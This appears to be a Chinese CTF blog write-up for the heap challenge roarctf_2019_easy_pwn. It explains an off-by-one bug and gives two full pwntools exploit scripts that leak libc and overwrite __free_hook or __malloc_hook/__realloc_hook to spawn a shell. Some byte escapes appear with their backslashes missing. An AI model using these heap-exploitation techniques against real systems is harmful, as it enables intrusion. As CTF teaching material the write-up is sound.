roarctf_2019_easy_pwn

这篇博客主要记录当直接在malloc_hook中直接写入one_gadget不起作用时的一些处理方法。题目附件：https://buuoj.cn/challenges#roarctf_2019_easy_pwn

题目分析:

• 题目提供了Create, Write, Drop, Show四个函数，其中Write函数存在off by one漏洞

利用思路：

• 利用off by one修改chunk的size达到overlap的目的

这道题目的难点在于向malloc_hook中写入的one_gadget全部失效。在一番苦思后我决定看看大佬的博客，现记录一下其中的处理方法：

解法一：

• 在malloc_hook附近构造fake_chunk，通过修改fastbin中的chunk的fd指针把fake_chunk放入fastbin中，然后在分配出去
• 修改main_arean中top_chunk的地址为free_hook附近
• 分配chunk控制free_hook
• 这一步有两个选择，一是向free_hook中写入one_gadget，二是向free_hook中写入system

exp如下：

from pwn import *
from LibcSearcher import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
p = process('./roarctf_2019_easy_pwn')
#p = remote('node3.buuoj.cn', 29382)

def Create(size):
    #p.sendlineafter('choice: ', '1')
    p.recvuntil('choice: ')
    p.sendline('1')
    p.sendlineafter('size: ', str(size))

def Write(index, size, content):
    p.sendlineafter('choice: ', '2')
    p.sendlineafter('index: ', str(index))
    p.sendlineafter('size: ', str(size))
    p.sendafter('content', content)

def Drop(index):
    p.sendlineafter('choice: ', '3')
    p.sendlineafter('index: ', str(index))

def Show(index):
    p.sendlineafter('choice: ', '4')
    p.sendlineafter('index: ', str(index))

Create(40)
Create(32)
Create(128) #0x80
Create(16)
payload = 'A'*0x28 + 'x51'
Write(0, 50, payload)
payload = 'x00'*0x18 + 'x71'
payload = payload.ljust(0x80, 'x00')
Write(2, 128, payload)
Drop(1)
Create(64) #0x40,  chunk 1
payload = 'x00'*0x28 + 'x91'
payload = payload.ljust(64, 'x00')
Write(1, 64, payload)
Drop(2)
Show(1)

p.recv(0x30+9)
malloc_hook = u64(p.recv(8)) - 0x68
log.success("malloc_hook ==> {:#x}".format(malloc_hook))

libc = LibcSearcher('__malloc_hook', malloc_hook)
libc_base = malloc_hook - libc.dump('__malloc_hook')
log.success("libc_base ==> {:#x}".format(libc_base))
one_gadget = libc_base + 0x4526a
log.success("one_gadget ==> {:#x}".format(one_gadget))
free_hook = libc_base + libc.dump('__free_hook')
log.success("free_hook ==> {:#x}".format(free_hook))
fake_chunk = free_hook - 0xb58
log.success("fake_chunk ==> {:#x}".format(fake_chunk))
system_addr = libc_base + libc.dump('system')
log.success("system_addr ==> {:#x}".format(system_addr))

Create(96) #0x60
Drop(2)
payload = 'x00' * 0x28 + p64(0x71) + p64(malloc_hook - 0xb) + 'x00'*8
Write(1, 64, payload)

Create(96)
Create(104)
payload = 'x00'*0x60 + 'x00'*3 + p64(free_hook-0xb58)[0:6]
Write(4, 114, payload)

for i in range(11):
    Create(256)

payload = 'x00'*0xa8 + p64(one_gadget)
payload = payload.ljust(256, 'x00')
Write(15, 256, payload)

Write(3, 16, '/bin/shx00'.ljust(16, 'x00'))
#gdb.attach(p)
Drop(3)
p.interactive()

 解法二：

• 在malloc_hook附近构造fake_chunk，通过修改fastbin中的chunk的fd指针把fake_chunk放入fastbin中，然后在分配出去
• 因为realloc_hook在malloc_hook - 0x8的位置，所以我们向realloc_hook中写入one_gadget,向malloc_hook中写入realloc函数的地址

exp如下：

from pwn import*
p = process("./roarctf_2019_easy_pwn")
#p = remote('node3.buuoj.cn', 25192)
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
a = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def add(size):
    p.recvuntil("choice:")
    p.sendline("1")
    p.recvuntil("size:")
    p.sendline(str(size))

def edit(idx,size,content):
    p.recvuntil("choice:")
    p.sendline("2")
    p.recvuntil("index: ")
    p.sendline(str(idx))
    p.recvuntil("size:")
    p.sendline(str(size))
    p.recvuntil("content: ")
    p.sendline(content)

def delete(idx):
    p.recvuntil("choice:")
    p.sendline("3")
    p.recvuntil("index: ")
    p.sendline(str(idx))

def show(idx):
    p.recvuntil("choice:")
    p.sendline("4")
    p.recvuntil("index: ")
    p.sendline(str(idx))

add(24) #0
add(24) #1
add(56) #2
add(34) #3
add(56) #4
edit(0,34,'aaaaaaaaaaaaaaaaaaaaaaaa'+'x91')
delete(1)
add(56) #1
show(2)
address = u64(p.recvuntil("x7f")[-6:].ljust(8,"x00"))
print  "address:" + hex(address)

libc_Addr = address-(0x7ffff7dd1b78-0x7ffff7a0d000)

malloc_hook_fkchunk = libc_Addr + 0x3c4aed
log.success("malloc_hook_fkchunk ==> {:#x}".format(malloc_hook_fkchunk))

#one =  libc_Addr+0x4526a#0xf02a4#0x4526a0xf1147  #0x45216#
one = libc_Addr + 0xf1147
log.success("one_gadget ==> {:#x}".format(one))
ralloc_hook = libc_Addr +a.symbols['__realloc_hook']
realloc=libc_Addr+a.symbols['__libc_realloc']
log.success("realloc ==> {:#x}".format(realloc))
realloc_addr = libc_Addr + a.symbols['realloc']
log.success("realloc_addr ==> {:#x}".format(realloc_addr))
malloc_addr = libc_Addr + a.symbols['malloc']
log.success("malloc_addr ==> {:#x}".format(malloc_addr))

add(56)#5
add(24)#6
add(24)#7-->x91
add(90) #8 
add(90) #9
add(24) #10

edit(6,34,'aaaaaaaaaaaaaaaaaaaaaaaa'+'x91')
delete(7)
delete(8)
add(110) #7

edit(7,120,'l'*0x10+'x00'*8+'x71'+'x00'*7+p64(malloc_hook_fkchunk)+'x00'*70)
add(90)
add(90)#11
edit(11,100,'l'*0x3 +p64(0)+p64(one)+ p64(realloc_addr)+'x00'*63) 

p.recvuntil("choice:")
p.sendline("1")
p.recvuntil("size:")
#gdb.attach(p)
p.sendline(str(90))
p.interactive()